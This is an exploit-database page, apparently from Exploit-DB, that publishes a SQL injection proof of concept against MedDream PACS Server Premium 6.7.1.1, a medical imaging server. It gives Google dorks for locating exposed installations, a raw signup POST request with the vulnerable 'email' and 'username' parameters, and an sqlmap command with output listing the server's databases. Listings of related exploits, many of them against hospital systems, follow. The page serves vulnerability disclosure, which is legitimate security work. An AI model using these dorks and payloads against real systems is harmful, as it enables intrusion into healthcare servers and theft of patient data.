Menu

Search for hundreds of thousands of exploits

"MedDream PACS Server Premium 6.7.1.1 - 'email' SQL Injection"

Author

Exploit author

"Carlos Avila"

Platform

Exploit platform

php

Release date

Exploit published date

2018-09-07

Download file

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# Exploit Title: MedDream PACS Server Premium 6.7.1.1 - 'email' SQL Injection
# Date: 2018-05-23
# Software https://www.softneta.com/products/meddream-pacs-server/downloads.html
# Version: MedDreamPACS Premium 6.7.1.1 
# Exploit Author: Carlos Avila
# Google Dork: inurl:Pacs/login.php, inurl:pacsone filetype:php home, inurl:pacsone filetype:php login
# Category: webapps
# Tested on: Windows
# http://twitter.com/badboy_nt

# Proof of Concept

POST /Pacs/userSignup.php HTTP/1.1
Host: 192.168.6.107
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.6.107/Pacs/userSignup.php?hostname=localhost&database=dicom
Content-Type: application/x-www-form-urlencoded
Content-Length: 129
Cookie: PHPSESSID=4l1c7irpgk1apcqk7ll9d89104
Connection: close
Upgrade-Insecure-Requests: 1
DNT: 1

hostname=localhost&database=dicom&username=hi&password=hi&firstname=jh&lastname=k23klk3l2&email=test@gmail.com&action=Sign+Up

# Parameters affected: email, username

root@deb-17-3:~/meddream# sqlmap -r sqli-signup -f -p email --dbms mysql --dbs 

[10:23:16] [INFO] testing MySQL
[10:23:16] [INFO] confirming MySQL
[10:23:16] [INFO] the back-end DBMS is MySQL
web application technology: Apache, PHP 7.0.30
back-end DBMS: MySQL >= 5.0.0
[10:23:16] [INFO] fetching database names
[10:23:16] [INFO] used SQL query returns 2 entries
[10:23:16] [INFO] resumed: information_schema
[10:23:16] [INFO] resumed: dicom
available databases [2]:
[*] dicom
[*] information_schema
Release Date Title Type Platform Author
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "WonderCMS 3.1.3 - 'Menu' Persistent Cross-Site Scripting" webapps php "Hemant Patidar"
2020-12-02 "WordPress Plugin Wp-FileManager 6.8 - RCE" webapps php "Mansoor R"
2020-12-02 "WonderCMS 3.1.3 - Authenticated Remote Code Execution" webapps php zetc0de
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - Password Reset leading to Account Takeover" webapps php "Mufaddal Masalawala"
2020-12-02 "Simple College Website 1.0 - 'page' Local File Inclusion" webapps php Mosaaed
2020-12-02 "Car Rental Management System 1.0 - SQL Injection / Local File include" webapps php Mosaaed
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "WonderCMS 3.1.3 - Authenticated SSRF to Remote Remote Code Execution" webapps php zetc0de
2020-12-02 "Pharmacy Store Management System 1.0 - 'id' SQL Injection" webapps php "Aydın Baran Ertemir"
2020-12-01 "Multi Restaurant Table Reservation System 1.0 - Multiple Persistent XSS" webapps php yunaranyancat
Release Date Title Type Platform Author
2019-10-04 "LabCollector 5.423 - SQL Injection" webapps php "Carlos Avila"
2019-02-21 "C4G Basic Laboratory Information System (BLIS) 3.4 - SQL Injection" webapps php "Carlos Avila"
2019-01-28 "Care2x 2.7 (HIS) Hospital Information System - Multiple SQL Injection" webapps php "Carlos Avila"
2018-11-06 "LibreHealth 2.0.0 - Arbitrary File Actions" webapps php "Carlos Avila"
2018-09-07 "Softneta MedDream PACS Server Premium 6.7.1.1 - Directory Traversal" webapps php "Carlos Avila"
2018-09-07 "MedDream PACS Server Premium 6.7.1.1 - 'email' SQL Injection" webapps php "Carlos Avila"
2018-07-11 "Dicoogle PACS 2.5.0 - Directory Traversal" webapps multiple "Carlos Avila"
2018-01-28 "PACSOne Server 6.6.2 DICOM Web Viewer - SQL Injection" webapps php "Carlos Avila"
2018-01-28 "PACSOne Server 6.6.2 DICOM Web Viewer - Directory Trasversal" webapps php "Carlos Avila" 
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Cipher Protocols Sigalg Trusted

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Host WAF detected